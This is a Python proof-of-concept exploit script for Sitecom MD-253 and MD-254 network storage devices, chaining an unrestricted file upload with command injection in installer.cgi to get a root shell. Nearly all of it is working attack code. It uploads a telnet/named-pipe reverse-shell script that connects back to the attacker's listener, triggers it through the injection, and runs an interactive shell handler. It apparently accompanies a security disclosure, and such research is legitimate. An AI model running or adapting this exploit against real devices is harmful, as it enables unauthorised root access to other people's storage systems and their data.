#!/usr/bin/python
#
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
# Date: 09/11/12
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
# Vendor Homepage: http://www.sitecom.com
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
# Version: 2.4.17 and below
# Tested on: Windows 7 x64 and Backtrack 5 R1
# CVE : N/A
#
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
# devices can be combined to obtain a root shell.
#
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
#
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
#     - granted execute permissions
#     - not removed after uploading if they don't contain valid firmware
#     - stored in a predictable location
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
#    root (only a limited character set can be used due to URL-encoding by CGI-handler)
#
# Known Limitations:
#   - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
#
# Vulnerability Details:
#   - http://www.alcyon.nl/advisories/aa-007
#   - http://www.alcyon.nl/advisories/aa-008
#
# Latest version of this exploit:
#   - http://www.alcyon.nl/blog/sitecom-poc-exploit
#
 
import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser
 
upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'
 
sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')
 
headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""
 
class Exploit:
 
    def stdin_thread(self, sock):
        try:
            fd = sys.stdin.fileno()
            while True:
                data = os.read(fd, 1024)
                if not data:
                    break
                while True:
                    nleft = len(data)
                    nleft -= sock.send(data)
                    if nleft == 0:
                        break
        except:
            pass
        sock.close()
        self.running = False
 
    def stdout_thread(self, sock):
        last = datetime.datetime.now() 
        try:
            fd = sys.stdout.fileno()
            while True:
                if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
                    sys.stderr.write('# '); # Insert fake prompt
                last = datetime.datetime.now()
                data = sock.recv(1024)
                if not data:
                    break
                while True:
                    nleft = len(data)
                    nleft -= os.write(fd, data)
                    if nleft == 0:
                        break
        except Exception as e:
            print e
            pass
        sock.close()
        self.running = False
 
    def parse_options(self):
        parser = OptionParser(usage="usage: %prog [options]")
        parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",
            help="Specify the host to connect to")
        parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",
            help="Target IP for reverse shell connection")
        parser.add_option("-p","--port",action="store",type="int",dest="port",
            help="TCP port for the reverse shell connection")
 
        parser.set_defaults(hostname=None, listener_ip=None, port=7777)
        (options, args) = parser.parse_args();
 
        if(options.hostname == None):
            sys.stdout.write("Remote hostname/IP required\n")
            parser.print_help()
            sys.exit()
         
        #self.forced_bind = (options.listener_ip != None)
        self.listener_ip = options.listener_ip     
        self.hostname = options.hostname
        self.port = options.port
 
    def start_local_listener(self):
        self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)
 
        try:
            self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
        except socket.error:
            sys.stderr.write("[-] Unable to set TCP_NODELAY")
         
        try:
            self.serv.bind((self.listener_ip, self.port))
        except:
            print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."      
            try:
                self.serv.bind(('', self.port))
            except:
                print "[-] Unable to bind to default address. Aborting."
                sys.exit(2)
 
        print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
             
        self.serv.listen(5)
        self.clientsock, addr = self.serv.accept()
        print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
        self.clientsock.send('/bin/busybox uname -a\n');
        banner = self.clientsock.recv(2048)
        if (banner.find('Linux'))>=0:
            print "[*] W00t W00t, got shell!\n\n%s\n" % banner     
        thread.start_new_thread(self.stdin_thread, (self.clientsock,))
        thread.start_new_thread(self.stdout_thread, (self.clientsock,))
         
    def connect_socket(self):
        print "[*] Connecting..."
        try:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect( (self.hostname, 80) )
            if not self.listener_ip:
                self.listener_ip = self.socket.getsockname()[0]
            print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
        except Exception as inst:
            print inst
            print "[-] Unable to connect"
            sys.exit(2)
             
    def upload_payload(self):
        print "[*] Uploading payload\n"
        try:
            self.socket.send('POST %s HTTP/1.1\n' % upload_url)
            self.send_headers()
            ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
            begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
            end_file='\r\n-----------------------------41184676334--\r\n'
            pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
            cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
            crlf = '\r\n'
            data = ''.join([ct,cl,pl,crlf])
            self.socket.send(data)
            if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
                print "[*] Payload succesfully uploaded"
                self.socket.close()
            else:
                print "[-] Unexpected response. Trying to proceed anyway."             
        except:
            print "[-] Error uploading payload. Aborting."
            sys.exit(2)
             
    def send_headers(self):
        data = headers %(self.hostname, self.hostname)
        self.socket.send(data)
     
    def execute_payload(self):
        print "[*] Executing payload"
        cmd = '/tmp/' + sh_name
        req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
        cr = '\r\n'
        self.socket.send(''.join([req,cr]))
        self.send_headers()
        if self.socket.recv(2048).find("200 OK")>=0:
            print "[*] Finished executing payload"
        self.socket.close()
 
    def run(self):
        self.line_buf = ''
        self.prompt = False
        self.parse_options()
        self.connect_socket()
        thread.start_new_thread(self.start_local_listener, ())
        self.upload_payload()
        self.connect_socket()
        self.execute_payload()
        print "[*] Waiting for reverse shell connection"
        self.running = True
        while self.running:
            pass
         
exploit = Exploit()
exploit.run()